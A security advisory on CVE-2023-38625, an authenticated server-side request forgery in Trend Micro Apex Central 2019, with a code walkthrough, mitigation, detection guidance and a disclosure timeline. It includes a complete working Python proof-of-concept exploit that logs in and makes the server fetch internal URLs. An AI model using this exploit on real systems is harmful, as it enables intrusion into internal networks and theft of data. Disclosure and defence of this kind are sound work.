Summary:
Product | Trend Micro Apex Central 2019 |
---|---|
Vendor | Trend Micro |
Severity | High |
Affected Versions | Apex Central 2019 Build <= 6394 |
Tested Version(s) | Apex Central 2019 Build 6394 |
CVE Identifier | CVE-2023-38625 |
CVE Description | Missing input validation in Apex Central 2019 Build 6394 and below uses user-supplied values to perform a server-side request in a function in modDeepSecurity. This results in a SSRF vulnerability whereby an attacker can force the server to make arbitrary requests to any URL or endpoints, including those on the local network, in order to exfiltrate sensitive information that are normally not accessibleto the public to the public. |
CWE Classification(s) | CWE-918: Server-Side Request Forgery (SSRF) |
CAPEC Classification(s) | CAPEC-664: Server Side Request Forgery |
CVSS3.1 Scoring System:
Base Score: 9.1 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
Metric | Value |
---|---|
Attack Vector (AV) | Network |
Attack Complexity (AC) | Low |
Privileges Required (PR) | Low |
User Interaction (UI) | None |
Scope (S) | Changed |
Confidentiality (C) | High |
Integrity (I) | Low |
Availability (A) | Low |
Product Overview:
Trend Micro Apex Central™ is a web-based console that provides centralized management for Trend Micro products and services at the gateway, mail server, file server, and corporate desktop levels. Administrators can use the policy management feature to configure and deploy product settings to managed products and endpoints. The Apex Central web-based management console provides a single monitoring point for antivirus and content security products and services throughout the network.
Apex Central enables system administrators to monitor and report on activities such as infections, security violations, or virus/malware entry points. System administrators can download and deploy components, such as antivirus pattern files, scan engines, and antispam rules, throughout the network to ensure up-to-date protection. Apex Central allows both manual and pre-scheduled updates, and allows the configuration and administration of products as groups or as individuals for added flexibility. An authenticated attacker can use the vulnerability to execute arbitrary code on the target Trend Micro Apex Central instance. As the attack is targeted against the Trend Micro Apex Central instance, the attacker can gain access to other resources via lateral movements.
Vulnerability Summary:
It was discovered that at the modDeepSecurity
module endpoint, a Server-side Request Forgery (SSRF) vulnerability exists. This allows an authenticated user of any role to pivot into and interact with services running in the local network, possibly allowing an attacker to exfiltrate sensitive information.
Vulnerability Details:
The following code is executed each time a request is made to the modDeepSecurity proxy file via https://TARGET_HOST/webapp/widget/proxy_controller.php?module=modDeepSecurity&act=register
:
// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modDeepSecurity/Proxy.php
public function proxy_register() {
$ConnectionStatus = $this->loginDSMServerREST(); // [1]
if ( $ConnectionStatus == WF_PROXY_ERR_NONE ) {
mydebug_log("[modDeepSecurity][proxy_register] Login success.");
$this->registerDSM();
// ...
}
// ...
$result = json_encode($this->m_productInformation) ;
echo $result;
// ...
}
Whenever a module’s proxy file is loaded, it will invoke the proxy_register()
function. At [1], the server will make a POST request through the loginDSMServerREST()
function:
// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modDeepSecurity/Proxy.php
protected function loginDSMServerREST() {
mydebug_log("[modDeepSecurity][loginDSMServerREST] In.") ;
$nRet = WF_PROXY_ERR_NONE ;
$urlAPI = "{$this->wsRESTPort}/authentication/login" ; // [2]
$this->oHttpObj->setURL($urlAPI) ;
$this->oHttpObj->setHeader("Content-Type", 'Content-Type: application/json') ;
$this->oHttpObj->setMethod_POST() ;
// ...
At [2], the destination URL is set to start with the value in $this->wsRESTPort
, then concatenated with /authentication/login
. The value of $this->wsRESTPort
is assigned in the proxy_init()
function, which is invoked at the start:
// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modDeepSecurity/Proxy.php
public function proxy_init() {
// ...
$this->serverAddress = "{$this->cgiArgs['TargetProtocol']}://{$this->cgiArgs['TargetServerIP']}:{$this->cgiArgs['TargetPort']}" ; // [3]
// ...
$this->wsRESTPort = $this->serverAddress . $this->webUIPort . "/rest" ;
}
At [3], it can be seen that user-controlled values from the HTTP request (TargetProtocol
, TargetServerIP
, TargetPort
) are assigned into $this->wsRESTPort
. Since the values are concatenated, it is possible to ignore the rest of the appended URL path by terminating the user-controlled input with ?a=
, which converts the appended URL path into a query string instead.
Once the POST request is complete, the execution continues at proxy_register()
and enters the if-block if the response code of the POST request was 200
.
// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modDeepSecurity/Proxy.php
public function proxy_register() {
$ConnectionStatus = $this->loginDSMServerREST(); // [1]
if ( $ConnectionStatus == WF_PROXY_ERR_NONE ) {
mydebug_log("[modDeepSecurity][proxy_register] Login success.");
$this->registerDSM(); // [4]
// ...
}
// ...
$result = json_encode($this->m_productInformation) ;
echo $result;
// ...
}
At [4], the registerDSM()
function is invoked:
// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modDeepSecurity/Proxy.php
public function registerDSM() {
$apiVersion = $this->getRESTAPIVersion();
$version = $this->getDSMVersion();
if ( null == $version || null == $apiVersion ) {
// ...
} else {
if ( version_compare($version, "9.0.5012") < 0 ) {
$this->m_productInformation = array('response' => 'Logon', 'errcode' => TMDS_DEPLOY_ERROR_UNSUPPORTED_VERSION, 'message' => 'Make sure Deep Security 9.0 or above is installed at {$this->serverAddress}.', 'product_version' => $version, 'server_guid' => '' , 'product_id' => TMDS_PRODUCT_ID) ; // [5]
// ...
This function invokes 2 separate functions, getRESTAPIVersion()
and getDSMVersion()
which both sends a GET request each to the same URL as before (with some appended path values that are ignored). The response bodies of both requests are stored in the $apiVersion
and $version
PHP variables respectively.
At [5], the variable $this->m_productInformation
stores an array in which the product_version
key stores $version
as its value. Execution then returns to proxy_register()
where, the values stored in the $this->m_productInformation
variable are JSON-encoded and returned as a response to the original request. As such, the response from the SSRF will be displayed in a JSON-encoded response.
Exploit Conditions:
This vulnerability can be exploited by having access to a low-privilege user account.
Proof-of-Concept:
We have tried our best to make the PoC as portable as possible. The following is a functional exploit written in Python3 that exploits this SSRF vulnerability:
# Trend Micro Apex Central 2019 (<= Build 6394) Authenticated SSRF (CVE-2023-38625)
# Via: https://TARGET_HOST/webapp/widget/proxy_controller.php?module=modDeepSecurity&act=register
# Author: Poh Jia Hao (STAR Labs SG Pte. Ltd.)
#!/usr/bin/env python3
import base64
import hashlib
import hmac
import json
import random
import re
import requests
import string
import sys
from urllib.parse import urlparse
from Crypto.Cipher import PKCS1_v1_5
from Crypto.PublicKey import RSA
requests.packages.urllib3.disable_warnings()
s = requests.Session()
def check_args():
global target, username, password, ssrf_target
print("\n===== Trend Micro Apex Central 2019 (<= Build 6394) Authenticated SSRF (CVE-2023-38625) =====\n")
if len(sys.argv) != 5:
print("[!] Please enter the required arguments like so: python3 {} https://TARGET_URL USERNAME PASSWORD SSRF_TARGET_DOMAIN".format(sys.argv[0]))
sys.exit(1)
target = sys.argv[1].strip("/")
username = sys.argv[2]
password = sys.argv[3]
ssrf_target = urlparse(sys.argv[4])
def authenticate():
global s
print("[+] Attempting to authenticate...")
# MD5 hash the password, store as tempPassword
temp_password = hashlib.md5(password.encode()).hexdigest().encode()
# GET the challenge number from GET /webapp/Login.aspx?Query=GetChallengeNumber
res = s.get("{}/webapp/Login.aspx?Query=GetChallengeNumber".format(target), verify=False)
chall_num = re.match("ChallengeNumber=(.+)\n", res.text).group(1).strip().encode()
# HMAC-MD5 the tempPassword using the challenge number as the key, store as the new tempPassword
temp_password = hmac.new(chall_num, temp_password, hashlib.md5).hexdigest().strip().encode()
# GET RSA key at /ControlManager/download/SSO_PKI_PublicKey.pem
res = s.get("{}/ControlManager/download/SSO_PKI_PublicKey.pem".format(target), verify=False)
rsa_key = res.text.strip().encode()
# Encrypt the tempPassword with the RSA public key, PKCS1_v1_5 is mandatory and PKCS1_OAEP does not work due to JSEncrypt
cipher = PKCS1_v1_5.new(RSA.import_key(rsa_key))
ciphertext = cipher.encrypt(temp_password)
encrypted_password = base64.b64encode(ciphertext)
# Login
data = {
"Query": "Logon",
"UserName": username,
"PassWord": encrypted_password,
"InstID": "",
"Format": "",
"Location": ""
}
res = s.post("{}/webapp/Login.aspx".format(target), data=data, verify=False)
if ".ASPXAUTH" not in res.cookies:
print("[!] Failed to authenticate. Are the credentials correct?")
sys.exit(1)
# Get PHPSESSID Cookie
s.post("{}/webapp/widget/index.php".format(target), verify=False)
print("[+] Authenticated successfully!")
def ssrf():
print("[+] Performing SSRF...")
payload = f"{ssrf_target.netloc}{ssrf_target.path}"
random_param = "".join(random.choices(string.ascii_letters + string.digits, k=12))
if ssrf_target.query:
payload += f"?{ssrf_target.query}&{random_param}="
else:
payload += f"?{random_param}="
res = s.get(f"{target}/webapp/widget/proxy_controller.php?module=modDeepSecurity&act=register&TargetProtocol={ssrf_target.scheme}&TargetServerIP={payload}", verify=False)
res_json = json.loads(res.text)
if res_json['errcode'] == 421 or res_json['errcode'] == 422:
print("[!] SSRF target not accessible! This may be due to redirections or a typo.")
sys.exit(1)
elif res_json['errcode'] == 431:
print("[+] SSRF successful! Partial HTML of SSRF target:\n")
print(res_json['product_version'][:500]+"\n")
with open(f"ssrf_target_output_{ssrf_target.netloc}.html", "w") as f:
f.write(res_json['product_version'])
print(f"[+] Full HTML written to 'ssrf_target_output_{ssrf_target.netloc}.html'!")
sys.exit(0)
def main():
check_args()
authenticate()
ssrf()
if __name__ == "__main__":
main()
Suggested Mitigations:
Update the Apex Central installation to the latest version as shown in Trend Micro’s Download Center.
Detection Guidance:
It is possible to detect the exploitation of this vulnerability by checking the server’s access logs for all requests made to /webapp/widget/proxy_controller.php?module=modDeepSecurity&act=register
and manually verify if TargetProtocol
, TargetServerIP
or TargetPort
contain suspicious records (e.g. fuzzing, service discovery).
Credits:
Poh Jia Hao (@Chocologicall) of STAR Labs SG Pte. Ltd. (@starlabs_sg)
Timeline:
- 2022-12-14 Reported Vulnerability to Vendor via ZDI
- 2023-02-22 Triaged and Reported by ZDI
- 2023-07-03 Patch Released by Vendor
- 2023-08-22 Public Release